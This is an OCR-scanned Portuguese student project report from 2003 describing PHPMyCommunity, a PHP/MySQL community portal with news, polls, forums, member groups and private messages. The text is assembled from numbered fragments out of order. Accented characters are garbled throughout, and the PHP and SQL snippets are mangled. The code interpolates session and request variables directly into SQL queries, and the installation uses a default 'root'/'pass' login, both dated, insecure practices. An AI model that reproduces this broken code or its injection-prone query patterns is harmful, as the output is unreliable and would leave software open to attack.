o 1  num universo de 43 700 759 p  ginas    O servidor web apache    do mais simples que possa existir  Apesar de precisar de alguns  conhecimentos em inform  tica  torna se muito f  cil de trabal
117. om forum where  Lo forum  SLON W   Sresultado cat forum  mysal db query   SMYSQL server bd   Ssql cat forum    e  Sresultacdo cat fForiml  Sregisto cat forim mysgl treten array  Sresultado cat forum    Sn forum  registo cat forim  1d forum cat     nivel forum Sregisto cat forum  nivel forum            P  gina 69    Relat  rio do projecto   PHPMyCommunity    Depois    verificado para cada um dos poss  veis direitos a comprova    o das permiss  es        tr align  left vi  valion N copN  gt    lt td gt  Responsavel dos membros lt  td gt    lt T gt   908  if   nivel forums1024     Scheck membro  CHECKED         echo      lt input type N checkbox  name  check membros  value   1   Scheck membro gt    lt   Tal  SE  gt     5 5 3  Listagem de um t  pico    A visualiza    o de um t  pico    realizada pela primeira mensagem colocada  seguida de todas as  suas respostas  Para simplificar o seu m  todo de visualiza    o n  o    permitido um maior n  mero de  ramos  ou seja  n  o se pode retorquir a uma resposta entrando assim num sub t  pico  Este tipo de  arquitectura    vis  vel em www  gildot org     Cada resposta tem informa    o vari  vel  visto que  consoante os privil  gios  novas informa    es  tornar se   o vis  veis  O seu modo de visualiza    o b  sica apresenta os seguintes dados  alcunha do  membro  data  hora  t  tulo  caso existe  e assinatura  Tal como na listagem dos f  runs  a visualiza    o por  p  ginas tamb  m est   dispon  vel  Caso a identifica    o seja verificada
118. or FTP  ou outro meio  j   est   conclu  da   1  cd   o que o direccionar   para a sua conta pessoal     2  cd public html  ou www  depende do servidor  mas ter   que se colocar num sitio vis  vel pela   Internet    3  tar  zxf PHPMyCommunity tar gz  criando assim uma pasta chamada PHEMy Community   com todos os ficheiros PHP no seu interior     4  cd PHPMyCommunity  vai ao interior da directoria     5  vi config php  vi    um editor de texto  poder   eventualmente utilizar o emacs  pico  nano ou   qualquer outro   6  No config php ter   que alterar as vari  veis para liga    o a base de dados e localiza    o do  index php em rela    o ao seu site  neste caso  n  o colocar um         no final       http   www  omeusite com  account PHPMyCommunity      Poder   eventualmente efectuar  outro tipo de modifica    es relativas ao n  mero de not  cias por p  gina  menu do site em GD   ELC as   7  Fim  a plataforma j   est      funcionar  Ter   que identificar se na p  gina usando o login    root       com a palavra chave    pass     E aconselhada a mudan  a imediata da sua senha na   rea pessoal     Em Windows  o modo de instala    o    id  ntico  alterando o pormenor de extrac    o do documento   1  Coloca    o na ra  z da sua conta  extrac    o com winzip  ou winrar  winace  etc     2  Edi    o do config php  tendo o cuidado de alterar as mesmas vari  veis do que no modo de    instala    o em Linux   Com a finalidade de ser o mais simples poss  vel  aconselha se o uso de um gestor
119. orias news     CREATE TABLE    categorias news       1d cat news int  32  NOT NULL default  0       categoria news varchar  25  NOT NULL default         desc cat news varchar  80  NOT NULL default         1d news admin int  32  NOT NULL default  1       cat news gfx varchar 250  NOT NULL default      PRIMARY KEY   id cat news       TYPE MyISAM           Extraindo dados da tabela    categorias news          E E E E SD ES E SE S E A E A A ES E SDS S E E E S E E RS E S N E PIE SS SD SE SE        Estrutura da tabela  config         DROP TABLE IF EXISTS config     CREATE TABLE config       nome do site varchar  200  NOT NULL default       welcome varchar  255  NOT NULL default         welcome msg blob NOT NULL      welcome ass varchar  26  NOT NULL default      PRIMARY KEY    nome do site       TYPE MyISAM           Extraindo dados da tabela config       INSERT INTO config   nome do site   welcome   welcome msg   welcome ass   VALUES      PHPMyCommunity    T  tulo da janela    O que ser amp gaacute  entrar numa loja e n amp atilde o  ser capaz de identificar imediatamente  r n que tipo de loja  amp eacute   e que tipo de  produto vende   lt  p gt Nrin lt p gt Agora este aspecto aplica se igualmente  amp agrave  p amp aacute gina  de entrada de  r n qualquer site  seja ele comercial ou n amp atilde o   lt br gt irin A  identifica amp ccedil  amp atilde o dos objectivos  amp eacute  primordial  os visitantes  r n  t amp ecirc m que entender  em muito pouco tempo o tipo de p amp aacu
120. os do PHPMyCommunity    Legenda sobre o documento     Estrutura do documento final  Contactos     Auxiliares presentes em todo o site  F  rum        Sondagens  Identifica    o registo     Motor de pesquisa  Not  cias     Sec    o membros  Artigos   produtos        Download   Links  Administra    o       P  gina 33    Relat  rio do projecto   PHPMyCommunity    clean html php    upload php Mn EI    Estrutura normal    top php    menu php         right php    footer php    linker php    func right php    site stats php    scroll news php    right sondagens php    administra    o    a contactios php    a cainews php    a membros php    a mygroup2 php    a cainews php    upload php  update php    P  gina 34    Index php  config php navigation php  template php    online php    Estrutura f  rum    footer php    linker php    M  dulos de funcionalidades  interligados com o linker php                         func news php       func member php noticias php    bi utilizador php    bi utilizador offline php    a ap php a cat forum php    mostra grupos php  a dl php a forum php  listar alfabeticamente php  a poll php a mygroup php  ut mesma regiao php    a site php a noticias php    procura utilizador php    a di php a forum php    lista grupos php          bindec php    ap php  verify php    admin php       ISMAI O 2003    4 4  Constitui    o da estrutura     Depois dos dois ficheiros do    lan  amento    do site  index php e main php   s  o    chamados     outros ficheiros para constr
121. p    como demonstra o seguinte c  digo     Sd 2M  imelude   fumetions fume cigne pono     p    Sid session S SESSION  session id username    s  Suser session   SESSIONI  session username       at  isset  Sid session   1  esquerda com identificacao Sid session  Suser session     else     esquerda sem identificacao              gt     As duas fun    es respons  veis por gerar o c  digo HTML encontram se no ficheiro    func right php        log in          log in           root  EEE RE E E E Ler mensagens    rriuadasz    Ilustra    o 14     Resultado obtido ap  s identifica    o com  mensagem privada pendente        5 2  Sistema de not  cias    O Sistema de not  cias permite ao utilizador uma visualiza    o das not  cias divididas em  categorias  com a possibilidade na parte de administra    o de colocar uma infinidade destas  Dentro das  categorias  a apresenta    o    feita sob forma de lista com as   ltimas not  cias colocadas no site  este limite     configur  vel pelo administrador no ficheiro de configura    o do portal     config php      Se a vari  vel    nPerPage  for igual a 3  a p  gina mostrar   todas as categorias que cont  m not  cias  com as tr  s   ltimas    not  cias inseridas  cujo corpo do texto de cada uma    um pequeno resumo que permite ao utilizador ter    1    F PO B 8 E   p  Plug in     um acr  scimo aplicado a um determinado software permitindo novas funcionalidades  Neste caso     uma    melhoria ao navegador  browser  proporcionando lhe a capacidade d
122. pdate login set ultimo_ip     ip_utilizador  where  id Sid username    Sresultado update last ip  mysql db query   SMYSQL server bd    Ssql update last ip     else     res   lt br gt  lt div align   center   gt  lt span class   texto   gt  A sua senha e  ou   a sua password est  o  lt b gt erradas lt  b gt   Verifique estes dados lt br gt ou entra em  contacto com o webmaster   lt     span gt  lt  div sbr gt     writelogin Sres    session destroy        5 3 2  Altera    o dos dados pessoais do utilizador          Caso seja preciso editar os dados  o membro registado pode faz   lo dirigindo se    sua   rea  pessoal  Nesse espa  o poder   alterar todos os dados que inseriu na sua inscri    o onde ter   oportunidade  de actualizar a sua idade  avatar e outros dados  Ter   igualmente a possibilidade de alterar a sua palavra     chave       alterar dados pessoais       alterar password       gade    Antiga palavra chave   esses  Howa palavra chave   enesesse    Confirmar nova plawra  eeesssee  lle ek o lk e ah ke  chave   Alterar palavra chave    Ilustra    o 20  Janela de altera    o da palavra chave  password        Tal como no registo  todos os campos s  o verificados  analisados  sem c  digo HTML e com  mensagens de erro personalizadas    Destaca se a funcionalidade de altera    o de grupo que  n  o s   autoriza a passagem de um grupo  para outro  mas que tamb  m gera mensagens privadas automaticamente  cancelando a perman  ncia do  utilizador no seio de uma comunidade  deixan
123. posto em evid  ncia   no que diz respeito  aos membros  Este mesmo sistema de seguran  a impede a um utilizador registado de    votar duas vezes na mesma sondagem  permitindo assim uma maior veracidade na recolha dos resultados     P  gina 74    ISMAI O 2003    O pr  ximo c  digo PHP extra  do do ficheiro poll php exemplifica como    poss  vel realizar esta  funcionalidade     if   nivel user  1    echo    lt center gt Lamentamos  mas s   os utilizadores registados e identificados podem  participar nas nossas sondagens  lt br gt   Pode eventualmente registar se  lt a href NV index php p registoN  gt   rom color bleck Y Doc dquic b cuca scbr   ou se j   est   registado pode identificar se  lt a href NY index php p loginN  gt    lt font CGOlor    black Y Drs aqua bc na rc cencer Mi  Jelse l  Sid session S  SESSIONT  session id username  ls     Pedido a base de dados para saber se o utilizador j   votou   Ssql voted  select count  id  as cnt from poll voted where  id pergunta  Sid pergunta  and id user  Sid session   group by id    Sresultado voted  mysql db query   SMYSQL server bd   Ssqgl voted    if  Sresultado voted    Sregisto voted mysgl fetch array  Sresultado voted    sent Sregirsto  voted     ent      1E  Sans a bl  a OO   echo    lt br gt  lt center gt  lt b gt Lamentamos  mas n  o pode voltar a votar nesta  sondagem  lt  b gt  lt  center gt  lt br gt       else   E Ainda n  o Vvotot s a c  ver votar form Sid pergunta  S nivel user            Ligado    base de dados  a
124. quais s  o os membros que existem   mas sem poder prejudic   los  no entanto  os membros registados ter  o efectivamente a maioria dos dados   Tal como referenciado no cap  tulo reservado    seguran  a da plataforma  todos os pedidos    base de dados  foram escritos sem nunca pedir para recuperar o campo da palavra chave  Funcionalidade escrita no  ficheiro    bi utilizador php    e    bi utilizador offline  php     onde o conceito desta medida pode ser    exemplificada com o seguinte c  digo     if  Sidentificacao    true      snow Cdertarile all  SidenctiLirricacao   Sud     else     show details  Sidentiticacaos  SLE  y         5 4 2  P  gina principal dos membros    Os membros s  o a for  a de qualquer comunidade ou associa    o  tal como as not  cias permitem  medir a actividade de um grupo  os utilizadores possibilitam a cria    o destas   ltimas    Sendo assim t  o relevante a apresenta    o dos seus membros  o PHPMyCommunity permite  numa s   p  gina ter uma percep    o imediata dos utilizadores registados na plataforma  Colocando o  visitante frente a v  rias funcionalidades permitindo visualizar utilizadores e grupos  tal como o n  mero  total de membros  nome do   ltimo  pequeno motor de pesquisa  visualiza    o gr  fica dos distritos   listagem dos grupos e alfab  tica  Autorizando uma infinidade de membros  mas sendo recomendado para  pequenas e m  dias comunidades  a sua apresenta    o tentou ser a mais subjectiva e simplificada    Como referido h   pouco  a vis
125. r do grupo ao qual foi efectuado o pedido    data pedido  data a qual foi realizado o pedido     regiao  tabela necess  ria para coloca    o dos distritos  possuindo os 18 distritos de Portugal continental  mais os arquip  lagos dos A  ores e da Madeira  Este campo j   esta preenchido na instala    o da  plataforma    1d   chave prim  ria  identificador do distrito     regiao  nome do distrito     mp  quando enviada uma mensagem privada o seu registo fica armazenado nesta tabela da base de dados   Contem 8 campos dedicados ao envio e recep    o de mensagem privadas    id   chave prim  ria  identificador da mensagem privada    nico e auto incrementado    id remetente  identificador do utilizador que enviou a mensagem privada    id destinatario  identificador do utilizador destinat  rio da mensagem privada    mp assunto  armazena o conte  do do assunto da mensagem    mp msg  conte  do da mensagem    mp  data  data de envio da mensagem    mp  hora  hora de envio     mp  lida  boleana identificando se a mensagem foi lida ou n  o  1 para n  o  O para sim      news  tabela armazenando 11 campos dedicado as not  cias e ao seu conte  do  Esta tabela serve para  guardar toda a informa    o noticiosa apresentada na p  gina de not  cias  newsFlash e p  gina de entrada    1d   chave prim  ria  identificador da not  cia    nico e auto incrementado    campo nome  nome da pessoa que inseriu a not  cia    campo email  email da pessoa que inseriu a not  cia    campo sujeito  referente ao assu
126. ra    o  Sendo uma componente muito delicada de editar  foram descritos todos os    privil  gios para que qualquer pessoa consiga entender o objectivo e a Import  ncia de cada um     Privil  gios de  cuquinha    Utilizador registado       o membro cl  ssico  s   possui alguns privil  gios como  escrever no f  rum   enuiarireceber mensagens privadas etc   Mas n  o tem acesso a nenhuma das  componentes administrativas  Ao tirar este privil  gio  est   de uma certa forma  a banir o utilizador do seu site  porque ele poder   registar se mas n  o poder    escrever no forum etc     Respons  vel dos artigos   Respons  vel pela redac    o de artigos  pode criar  apagar ou editar unicamente  OS Seus artigos     Respons  vel do forum    Respons  vel pela ordem no f  rum  este deve ser dos administradores mais  pol  micos  porque todos querem ter o seu lugar  Porizso alguma cautela nunca     pouca quando se elege um administrador de f  rum     Ilustra    o 28  Selec    o dos privil  gios com a respectiva ajuda        Implementou se duas funcionalidades chamadas mp4all e email4all permitindo comunicar  directamente com os utilizadores  O email4all    simplesmente uma esp  cie de mailling list  onde se pode  enviar um e mail a todas as pessoas do seu site s   com um formul  rio  O mp4all     o diminutivo de  mensagem privada para todos  Tal como o email4all  permite enviar uma mensagem para todas as pessoas  do site instantaneamente  Ao inv  s do email4all  esta fun    o envia mensagens p
127. rivadas  Usando as    mesmas fun    es  o c  digo PHP s   varia como mostra o seguinte exemplo vindo do membros php     PE  Snav    emai  Mall   com4all  S nivel user   email    email4all  Scampo assunto  Scampo mensagem  Sdica     else    com4all   nivel user   esta mensagem privada    mp4all   Scampo assunto    Scampo mensagem  Sdica      Esta diferencia    o    chama    a fun    o comdall      com    de comunica    o  que permite enviar    mensagens privadas ou e mail para todos     while  S registo all user  mysql fetch array  Sresultado all user       Std  Sreqisto all   user  1d     Susername Sregisto all user  username      Semail  Sregisto all user  email     mail   email  Scampo assunto  S campo mensagem   From  SSITE nome lt Semail root gt        A fun    o mail       nativa do PHP necessitando de alguns par  metros para o seu bom    funcionamento  mais informa    es em  http   pt php net manual en ref mail php      P  gina 64    ISMAI O 2003    O envio de mensagens privadas    muito parecido com o c  digo PHP acima descrito  havendo a  diferen  a do uso de fun    o send mp n  o incorporada no PHP  mas sim programada para ser usada dentro  do PHPMyCommunity    function send mp Sid remetente  Sid destinatario  Smo assunto  Smo msg   Ene bude  Yconriig  pno        Cria    o das vari  veis que v  o permitir criar a MP    Sdata dia date  5 m Y      Sdata hora date  Res      Enviar a MP directamente para o administrador do grupo    Ssql send mp  insert into mp  id remete
128. rs  o 1 0 do que se denominava    Personal Home Page Tools     com o sucesso desta    ltima  criou um grande movimento de ajuda que permitiu o lan  amento  poucos meses depois  da vers  o    2 0  a qual j   se assemelha    que conhecemos hoje  como    Hypertext Preprocessor     acr  nimo recursivo      P  gina 1    Relat  rio do projecto   PHPMyCommunity    A vers  o 3 de 1997 foi uma melhoria substancial do 2 0 mas  em relac  o ao seu grande  concorrente o ASP   da Microsoft   n  o inclu  a sess  es  A vers  o 4 de 2000 j   continha sess  es   permitindo uma maior seguran  a e uma alargada quantia de novas funcionalidades  incluindo o motor de  processamento desenvolvido pela ZEND     aumentando significativamente a velocidade de execu    o dos  scripts  comparado ao ASP  Este    novo    PHP superava o em quase todos os aspectos  A pr  xima vers  o  ser   lan  ada em Dezembro deste ano e as expectativas s  o muito elevadas  estando previstas melhorias ao  n  vel da programa    o por objectos  que n  o est   optimizado no PHP4   A vers  o 2 do novo motor da    ZEND  apresenta melhorias ao n  vel da seguran  a das sess  es  melhor interpreta    o do XML  etc      2 3  Vantagens do PHP    A grande vantagem do PHP     sem d  vida  o facto de se tratar de um software gratuito  O seu  c  digo fonte est   dispon  vel na Internet e qualquer pessoa pode contribuir para o seu desenvolvimento       A arquitectura deste sistema foi desenvolvida inicialmente para poder funcionar em qualq
129. s  id cat news          Vai ler as   ltimas not  cias de cada categoria       sql news   select id  campo sujeito  campo msg  data dia  data hora   id cat news  news resumo from news where id cat news   Sid cat news  order by  10 limit 1      Sresultado news   mysql db query   SMYSOL server bd   Ssql news    if  Sresultado news     Sregisto news mysql fetch array  Sresultado news    Sid Sregisto news   id       Scampo sujeito Sregisto news   campo sujeito      S campo msg Sregisto news   campo msg     Sdata dia Sregisto news  data dia l   Sdata hora  Sregisto news  data hora      Sid cat news Sregisto news  id cat news  i s  Sresumo news Sregisto news     news resumo     writenews home noticias Sid  Scampo sujeito  Scampo msg  Sdata dia   Sdata hora  Sid cat news  Sresumo news      Toda a componente administrativa desta funcionalidade    completamente gerida pelo sistema de    not  cias  explicado nas pr  ximas p  ginas     P  gina 41    Relat  rio do projecto   PHPMyCommunity    5 1 3  Flash forum    Da mesma forma como as   ltimas not  cias s  o mostradas     feita uma pequena listagem dos    ltimos t  picos colocados no f  rum de conversa  configur  veis pelo webmaster no ficheiro de  configura    o geral do site  config php  com o detalhe de especificar o nome do f  rum em quest  o  Existe  uma pequena informa    o relativa      ltima pessoa que respondeu  caso n  o haja resposta  o nome que  aparece    o da pessoa que criou o t  pico   a particularidade de indicar a data
130. s importante    servir a  comunica    o de uma comunidade  proporcionando ferramentas adequadas  f  ceis de usar e graficamente  atraentes    O seu c  digo fonte foi criado de tal forma a poder permitir a sua edi    o com a finalidade de ser  melhorada por terceiros  Este objectivo foi desenvolvido com uma grande quantidade de coment  rios   juntando um c  digo facilmente percept  vel recorrendo a fun    es  vari  veis  nomes de ficheiros e  organiza    o com nomes identific  veis    Esta plataforma web permitir   aos seus utilizadores poderem comunicar atrav  s desta devido   s  v  rias funcionalidades inerentes    plataforma  e assim desenvolver uma comunidade gra  as   s novas  tecnologias digitais  Esta ideia de trabalho foi adoptada  na medida em que  hoje em dia  as pessoas  recorrem cada vez mais ao computador e    Internet para comunicarem entre si  Tendo em conta a  dificuldade que as pessoas t  m em desenvolver uma p  gina na Internet  devido aos problemas relativos     programa    o e cria    o de um design intuitivo  foi ent  o sugerido um projecto de monografia adaptado a    essas necessidades cada vez mais importantes e relevantes     P  gina 9    Relat  rio do projecto   PHPMyCommunity    Todas estas necessidades s   eram tecnicamente realiz  veis usando um sistema de apresenta    o  de p  ginas completamente din  micas  A solu    o foi encontrada numa combina    o de dois programas   PHP e MySQL   O primeiro trata se de uma linguagem script que permite interli
131. s informa    es sobre elas   incluindo o n  mero de votos que ela recebeu    id   chave prim  ria  identificador da pergunta    nico e auto incrementado    pergunta  campo guardando todas perguntas    voters  valor do n  mero total de votos a pergunta    data dia  data em que foi inserida a pergunta na base de dados     data hora  complemento do campo acima  mas referindo se as horas     poll respostas  tabela com todas as respostas as perguntas  com quarto campos proporciona com a tabela  anterior a realiza    o dos votos    id   chave prim  ria  identificador da pergunta    nico e auto incrementado    id pergunta  identificador  Relaciona a poss  vel resposta a pergunta    resposta  uma vertente    votes  campo que regula os n  mero de votos a resposta     poll comentarios  tabela dedicada a coloca    o dos coment  rios das sondagens  Todos eles est  o  armazenados independentemente da pergunta  diferenciados e organizados pelo ID principal e pelo ID da  pergunta    1d   chave prim  ria  identificador do coment  rio    nico e auto incrementado    id pergunta  identificador da pergunta  relaciona o coment  rio a pergunta    corpo  texto do coment  rio    owner  identificador do utilizador que inseriu o coment  rio    data dia  data em que o coment  rio foi inserido na base de dados     data hora  hora em que foi inserido o coment  rio     poll voted  esta tabela serve para controlar os votos  e assim impedir que um utilizador possa votar duas  vezes na mesma pergunta   1d   
132. s perguntas e as respostas s  o todas geridas pelo PHP  onde a fun    o  do MySQL ser   processar as sondagens e os resultados  Com uma tabela espec  fica para quem registar os  votos     imposs  vel ao utilizador votar duas vezes na mesma sondagem     O c  digo seguinte indica como    realizada a inser    o na base de dados de um novo voto     RE rr oO ls er dO  puder ZA O e   sql update   update poll respostas set votes votestl where id Sid resposta    Sresultado update   mysql db query   SMYSQL server bd   Ssql update         fazer update ao numero de pessoas que votaram a essa pergunta    sql update2  update poll perguntas set voters voters 1 where id  id pergunta    Sresultado update2  mysql db query   SMYSQL server bd   Ssl update2        inserir o id do utilizador na tabela  poll voted  para que ele n  o possa votar 2x  Sid session S S SESSIONT  session id username      Ssql add vote  insert into poll voted  id pergunta  id user  VALUES   Sid pergunta     Sid session        Sresultado add vote mysqgl db query   SMYSQL server bd   Ssqgl add vote      Para verificar se as sondagens foram falsificadas  apesar de todo o sistema de seguran  a  existe  outra forma de analisar os resultados  Na p  gina das sondagens existe duas vezes o n  mero de pessoas    1       gt  acaba com o    que votaram  A pergunta     N  mero total de pessoas que votaram nesta sondagem       n  mero total de votos  Este valor    recuperado com a soma dos votos na base de dados  Na segunda  contagem 
133. s tr  s   ltimas not  cias que foram newsFlash  colocadas no site  Esta amostra n  o    dependente da categoria  visto que  s   lista PHP     PeR    Ls    jos GTE  i an  as   ltimas mensagens  Se por exemplo  existirem quatro categorias de not  cias  7 ni    extension for PHP    programming  language that  newsFlash ir   listar essas tr  s   ltimas not  cias  Este m  dulo    uns dos poucos  M A    sendo que s  o publicadas duas dessas not  cias na segunda e uma na quarta  o       m  dulos que liga v  rias tecnologias entre elas  tais como o PHP  MySQL  ver noticias    P  gina 42    ISMAI O 2003    JavaScript e claro HTML  O c  digo JavaScript foi retirado do site  www handago com  onde a  inexist  ncia de um copyright levou    adapta    o e melhoria do mesmo  Por cortesia  foi deixado um  coment  rio de agradecimento ao site no c  digo HTML  Tal como as not  cias  o newsFlash    totalmente    autom  tico e todo o seu conte  do    inserido na base de dados directamente pela administra    o das    not  cias   5 1 5  Sondagens da margem direita  As sondagens permitem conhecer as prefer  ncias das pessoas de uma  comunidade muito importante  partindo do princ  pio que a rela    o entre sondagens    webmaster e utilizador tem que ser a mais pr  xima poss  vel  tem que haver uma ET EER ER      l   sistema de  comunica    o bilateral  A coloca    o de um elevado sistema de sondagens era mais EMRE     do que justificado  Por isso  no lado direito encontramos um sofisticado sistema MA
134. sers  n users 9n usersOff        ultimo utilizador a registar se select id nome from login order by  id limit 0 1   sql last reg  select id nome from login order by  id limit 0 1    Sresultado last reg  mysql db query   SMYSQL server bd    sgl last reg     Sregisto last reg mysqgl fetch array  Sresultado last reg     Slast nome Sregisto last reg  nome l        Numero de noticias    S sqln news  select count  id  as cnt from news     Sresultadon news  mysql db query   SMYSQL server bd   Ssgln news    Sregiston news mysqgl fetch array  Sresultadon news      n news Sregiston news   cnt            T P  gina 4     Relat  rio do projecto   PHPMyCommunity    S  o precisos onze pedidos SOL seguidos  para recuperar todos os dados pretendidos     a base de    dados que processa tudo  dando apenas o resultado ao PHP  para depois gerar o c  digo HTML     5 1 7  Menu    Tal como o resto da plataforma  o menu    completamente din  mico  Ao contr  rio de uma p  gina  HTML normal  ou at   algumas aplica    es web onde o menu est   escrito no meio de c  digo  HTML  ou  Java Script   o PHPMyCommunity tem o menu todo inserido na base de dados  Criado em tempo real   oferece a capacidade de adaptar se    pessoa que o visualiza  Assim  colocando todos os itens do menu  com diferentes n  veis de visualiza    o na base de dados  o utilizador identificado  possuindo privil  gios     pode assim interagir com o gerador de menu  de forma a ser retornado os itens que lhe    poss  vel ver     Em vista a 
135. sitante a  oportunidade de clicar para ver mais    Cada categoria    listada caso exista pelo menos uma not  cia para mostrar  porque n  o interessa  ao utilizador ou visitante saber que existe uma categoria sem not  cias  Quando referenciadas  elas  apresentam a sua descri    o que permite uma percep    o mais r  pida do tipo de not  cias que ser    encontrada no interior de cada uma    A apresenta    o das not  cias    sempre feita com o   cone da sua respectiva categoria  data e hora    de inser    o  resumo e op    o para ler todo o conte  do     Categoria  Noticias PHP  Todas az   lt  rnas noticias sobre o PHP e afins  PEAR  MING  GO  MySQL et        php STK 2 04 2003 az 19 38    PHP STK iz an extension for PHP programming language that implements  language bindings for GTE  toolkit  It provides an object oriented interface  to GTE  classes and functions and greatly simplities writing client side  cross plattorm GUI applications       gt  noticia completa    Ilustra    o 11  Resultado gerado pelo PHP  ap  s inser    o de not  cias        A cria    o deste tipo de HTML implica um ciclo    while    que possibilita recuperar da base de    dados a   ltima mensagem de cada uma das categorias      sql cat news   select id cat news from categorias news order by id cat news    Sresultado cat news   mysql db query   SMYSQL server bd   Ssqgl cat news    lE  Sresultado cat news  q  while  S registo cat news mysql fetch array  S resultado cat news       Sid cat news Sregisto cat new
136. t  lt  td gt  lt  tr gt    lt  table gt      O m  dulo do menu permite casos    especiais    tal como o login logout  Quando o utilizador n  o  est   identificado  o menu apresenta a possibilidade ao visitante de o fazer  caso contr  rio permite efectuar  o logout  Constitu  do por apenas uma condi    o  esta funcionalidade facilita a apresenta    o do menu na  medida em que n  o    necess  rio apresentar a op    o de efectuar o logout a um visitante n  o registado  tal    como n  o fazendo sentido aparecer a op    o de registar se a um membro devidamente identificado     P  gina 45    Relat  rio do projecto   PHPMyCommunity    5 1 8  Login   Mensagem Privadas    O canto superior direito foi utilizado de tal forma a poder conter funcionalidades consoante a  identifica    o  Assim  se o utilizador n  o estiver identificado     mostrada uma pequena aplica    o  constru  da em Macromedia Flash capacitando o visitante a efectuar o seu login  Caso contr  rio  prop  e o  acesso   s    mp     mensagens privadas  informando o n  mero de mensagens novas n  o lidas  Esta   ltima  assemelha se a uma caixa de correio electr  nico limitado ao universo dos membros da p  gina para enviar  ou receber correio directamente pela plataforma    Como foi dito anteriormente  o uso da tecnologia Flash    necess  ria na medida em que permite  uma visualiza    o id  ntica em todos os sistemas operativos integrando o    plug in        Estas duas funcionalidades s  o determinadas no ficheiro    right ph
137. te gina que est amp aacute    r n a ver e os servi amp ccedil os que disp amp otilde e   lt br gt irin Se este pormenor  n amp atilde o for respeitado  o site ser amp aacute  um fracasso porque irin ningu amp eacute m  perder amp aacute  mais tempo em visualizar outras p amp aacute ginas  r n sem ter a  m amp iacute nima ideia do que elas poder amp atilde o oferecer lhe    lt  p gt irin lt p gt  amp nbsp  lt  p gt irin lt p gt Jacob Nielsen     Assinatura do webmaster       P  gina 85    Relat  rio do projecto   PHPMyCommunity      Estrutura da tabela    contactos          DROP TABLE IF EXISTS contactos     CREATE TABLE contactos      id int 1  NOT NULL default  0       titulo Janela varchar 30  NOT NULL default         conteudo text NOT NULL      legenda gfx varchar 255  NOT NULL default         gfx  varchar  255  NOT NULL default        TYPE MyISAM            Extraindo dados da tabela    contactos    E Estrutura da tabela  counter         DROP TABLE IF EXISTS counter     CREATE TABLE counter       rowid int  10  unsigned NOT NULL default  0     hits int  10  unsigned NOT NULL default  0    PRIMARY KEY   rowid       TYPE MyISAM            Extraando dados da tabela counter       Estrutura da tabela  dl        DROP TABLE IF EXISTS  dl     CREATE TABLE  dl  gt       id    int  32  NOT NULL auto_increment    nome varchar  255  NOT NULL default       url varchar  255  NOT NULL default         descricao varchar  255  NOT NULL default         Inserido varchar  255  NOT NULL default
138. u    o do aspecto gr  fico    Inicialmente pensado para ter frames     o    PHPMyCommunity    foi finalmente desenvolvido para  usar    pseudo frames     ou seja  frames virtuais em que est   tudo num s   ficheiro com tabelas  Existe um  ficheiro  linker php  que vai realizar os includes  fun    o do php  das p  ginas que desejamos abrir   relativamente a uma vari  vel colocada no URI como por exemplo   http   www  omeusite com index php p home  onde a vari  vel p ser   recuperada  verificada e s   depois  ser   feito o include para a p  gina relativa ao seu valor  se p for igual a home  ent  o ser   feito o include ao    ficheiro home php  ver organigrama seguinte      e index php  o   main php     top      menu php     Jlinker php   e Resto das p  ginas     right php     footer php    Como podemos ver no organigrama representado em cima  o ficheiro HTML final est   composto  no m  nimo por sete ficheiros PHP  Este    o funcionamento dos pseudo frames e    assim que nos     permitida uma optimiza    o do site  visto que  as Imagens da p  gina ou do topo ficam automaticamente na  cache da pessoa que visita a p  gina  A seguran  a e a sua integridade ficam igualmente preservadas uma  vez que n  o existe um ficheiro chamado  noticias html ou algo similar  Os documentos HTML s   existem  se forem    chamados     Caso contr  rio     imposs  vel ver o documento sem chamar as fun    es PHP pelo  navegador  Este sistema    muito melhor que o uso de frames  porque os motores de pesqu
139. ualiza    o gr  fica dos distritos consiste numa aplica    o em  Macromedia Flash que representa o mapa de Portugal com todos os seus distritos e respectivos nomes     Quando clicado num     feito uma listagem de todos os membros pertencendo      rea seleccionada     1 so        y G  Os bots  s  o programas  concebidos para ver  e abrir todos os sites    procura de endere  os e mail  acrescentando  depois a uma base de dados  que depois pode ser vendida para envio de publicidades para caixa de correio    electr  nico     P  gina 57    Relat  rio do projecto   PHPMyCommunity    Humero de utilizadores registados  19  Ultimo utilizador registado  SoundMan  sgm     a    Keszi    Procurar utilizadores      N  mero de utilizadores por distritos     Viana do Castelo  O  Braga  1   Vila Real  1  Eragan  a  O  Porto  9   Aveiro  1    Castelo Branco  O  Leiria  O  Santar  m  O  Pottalegre  O    Listagem das diferentes categorias  equipa   Listagem dos utilizadores por ordem alfab  tica     Ilustra    o 22  P  gina de acesso aos membros        5 4 3  Listagem dos membros    Um dos pontos fortes do PHPMyCommunity e que o diferencia em rela    o aos gestores de    conte  do     a possibilidade de criar grupos de membros  onde o seu respons  vel poder   criar membros    especiais  S  o diferentes porque pertencem ao grupo  mas n  o t  m acesso    Internet  Sendo esta    plataforma o meio de comunica    o de comunidades reais  era prov  vel a exist  ncia de pessoas fazendo    parte desta  m
140. uer  servidor  Encontra se o PHP em sistemas operativos tais como  Windows 9x  Windows  NT 2000 XP 2003 Server  Linux  Unix  Mac OS OpenBSD  FreeBsd  Solaris  e outros      As potencialidades do PHP n  o se limitam unicamente ao sistema operativo  a sua Interliga    o  com bases de dados est   muito evolu  da  Consegue trabalhar com quase todas as bases de dados mais  conhecidas tais como  MySQL  MSQL  Oracle  PostGresSQL  dBase  etc     A sua Interliga    o com servidores web  tamb  m foi desenhada para conseguir correr em quase todos eles   Conseguimos ter o PHP em sistemas como o Apache  Internet Information Services  IS  PWS  Xitami   Omnihttpd e outros    Existe a possibilidade de expans  o das funcionalidades do PHP  pela inser    o de m  dulos  desenvolvidos em C  usando a API do PHP    Inspirado do C  Java e PERL  o PHP tem uma sintaxe relativamente simples de aprendizagem  juntando  uma enorme comunidade cibern  tica que permite uma divulga    o de c  digos fonte  aplica    es completas  gratuitas e ajuda entre utilizadores que as outras linguagens n  o possuem    Ao longo dos anos todas estas vantagens permitiram ao PHP tornar se na linguagem de  programa    o de p  ginas din  micas das mais usadas no mundo  Segundo as estat  sticas da Netcraft   existem 13 969 466 dom  nios web usando PHP num universo de 43 milh  es  Na mesma altura  a  Nexen net publicou as suas pr  prias estat  sticas independentes  afirmando que a vers  o mais popular do    PHP    a 4 1 2  insta
